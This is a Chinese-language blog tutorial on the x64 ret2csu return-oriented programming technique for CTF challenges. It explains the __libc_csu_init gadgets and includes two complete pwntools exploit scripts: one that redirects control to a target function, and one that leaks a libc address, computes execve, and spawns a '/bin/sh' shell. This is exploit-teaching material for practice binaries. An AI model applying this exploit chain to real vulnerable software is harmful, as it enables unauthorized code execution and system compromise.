前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-Ret2csu详解

ROP-Ret2csu详解

作者头像
偏有宸机
发布2020-11-04 09:57:10
1.6K0
发布2020-11-04 09:57:10
举报
文章被收录于专栏:宸机笔记

利用原理

当在x64环境下函数的参数传递凑不齐类似“pop rdi;ret”/“pop rsi;ret”/“pop rdx;ret”等3个传参的gadgets时,就可以考虑使用_libc_csu_init函数的通用gatgets。

x64 下的 __libc_csu_init 这个函数是用来对 libc 进行初始化操作的,而一般的程序用 libc 函数,所以这个函数一定会存在。 (不同版本的这个函数有一定的区别) 简单来说就是利用libc_csu_init中的两段代码片段来实现3个参数的传递(间接性的传递参数)

第一段gadgets

根据环境的不同 r13\r14\r15的顺序也有可能不同

代码语言:javascript
复制
.text:000000000040075A   pop  rbx  #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B   pop  rbp  #需置为1
.text:000000000040075C   pop  r12  #需置为要调用的函数地址,注意是got地址而不是plt地址,因为plt表中存的是指令,也就无法进行call
.text:000000000040075E   pop  r13  #write函数的第一个参数
.text:0000000000400760   pop  r14  #write函数的第二个参数
.text:0000000000400762   pop  r15  #write函数的第三个参数
.text:0000000000400764   retn

第二段gadgets

代码语言:javascript
复制
.text:0000000000400740   mov  rdx, r13
.text:0000000000400743   mov  rsi, r14
.text:0000000000400746   mov  edi, r15d
.text:0000000000400749   call  qword ptr [r12+rbx*8]#想要调用r12的地址就需要将rbx置为0,即0*8 才不会产生偏移量
						add     rbx, 1 #此时,rbx会加1,然后和rbp对比
						cmp     rbp, rbx #payload中只需要将rbp置为1,比较结果为非零值,便不会发生跳转,使程序继续执行到ret的位置
                        jnz     short loc_5555555546F0

这两段代码运行后,会将栈顶指针移动56字节

所以一般要在后面加上56个字节的数据才可以连接到到ret位置进行跳转

流程示意图

图片
图片

利用思路

当在x64程序中找不到rdx、rsi、edi时,再使用此方法

确定gadget1、gadget2的地址及顺序

构造初步ret2csu payload函数


例题

easy_csu[init_array_start]

点击下载-提取码:ne7q

思路

通过IDA得出,只要可以运行函数就算是完成了

checksec看到程序是64位的,并且在程序中找不到rdx、rsi、edi时

利用_libc_csu_init函数中的两个代码片段来实现这三个参数的传递

确定gadget1、gadget2的地址

由于程序中vul函数并未执行过,而call函数的用法是跳转到某地址内所保存的地址,但此时的vul地址内并没有真实地址,所以这里要考虑绕过call这个调用,直接通过retn跳转至vul处(真实地址)

这里通过init_array_start函数的指针来跳过call 函数是ELF程序的一个初始化函数,运行它不会对栈空间造成影响,可以说是用于跳过call指令的最佳选择

构造payload进行溢出,返回结果直接到vul函数的上

EXP

代码语言:javascript
复制
#-*- coding:utf-8
from pwn import *
sh = process("./easy_csu")
elf = ELF("easy_csu")
context.log_level = "debug"
offset = 40
gadget1 = 0x00000000004011FE
gadget2 = 0x00000000004011E8
init_array = elf.symbols['__init_array_start']
payload = offset*'a'
payload += p64(gadget1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(init_array)
payload += p64(3) + p64(3) + p64(3)
payload += p64(gadget2)
payload += 'c'*0x38
payload += p64(elf.symbols["vul"])
sh.sendline(payload)
sh.interactive()

Level5[write\read\execve,三次溢出]

点击下载-提取码:bpiv

思路

确定csu函数中r13、r14、r15的顺序

参数 正序即可

利用csu_gadgets泄露write函数的真实地址,并返回至主函数

  • 在通用gadgets中以write函数来泄露write函数的真实地址 csu(write_got, 1, write_got, 8, main_addr)

利用wirte函数的真实地址来计算system函数的地址(或execve函数)

代码语言:javascript
复制
write_addr = u64(sh.recv(8))
base_addr = write_addr - libc.symbols['write']
execve_addr = base_addr+ libc.symbols['execve']

再次利用csu_gadgets将execve函数的地址及‘/bin/sh’写入到程序bss段

代码语言:javascript
复制
csu(read_addr,0,bss_addr,16,main_addr)

再次利用csu_gadgets执行bss段内容

即(execve函数地址+‘/bin/sh’) csu(bss_base,bss_base + 8,0,0,main_addr)

EXP

代码语言:javascript
复制
# #coding:utf-8
from pwn import *
sh = process("./level5")
elf = ELF("./level5")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget1 = 0x00000000004011DE
gadget2 = 0x00000000004011C8
write_got = elf.got['write']
main_addr = elf.symbols['main']
print "write_got:"+ hex(write_got)
print "main_Addr:"+ hex(main_addr)
def csu(r12,r13,r14,r15,ret_addr):
    payload = "a"*136
    payload += p64(gadget1)
    payload += 'b'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r13)#参数1
    payload += p64(r14)#参数2
    payload += p64(r15)#参数3
    payload += p64(gadget2)
    payload += 'c' * 0x38
    payload += p64(ret_addr)
    sh.sendline(payload)
###第一次溢出,泄露write函数的地址
sh.recvuntil("Hello, World\n")
csu(write_got,1,write_got,8,main_addr)
#利用write函数(因为gadget2中的代码为call,所以必须为write函数的got地址)
#来读取write的got表内容,向后读取8个字节,然后返回至main住花鸟属
write_addr = u64(sh.recv(8))
#接收数据,并解包 
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)#偏移地址
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
####第二次溢出,利用read函数写入execve()+/bin/sh
read_addr = elf.got['read'] 
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main_addr)
#读取用户输入的数据到指定的bss地址,写入16个字节
sh.recvuntil("Hello, World\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')
#发送execve的地址加上/bin/sh到bss段
print "bss_addr:",hex(bss_addr)
###第三次溢出,调用bss地址内的代码
sh.recvuntil("Hello, World\n")
csu(bss_addr,bss_addr+8,0,0,main_addr)
#也就是利用gadget2中的call 来获取权限 
sh.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-02-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用原理
    • 第一段gadgets
      • 第二段gadgets
        • 流程示意图
        • 利用思路
        • 例题
          • easy_csu[init_array_start]
            • 思路
            • EXP
          • Level5[write\read\execve,三次溢出]
            • 思路
            • EXP
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档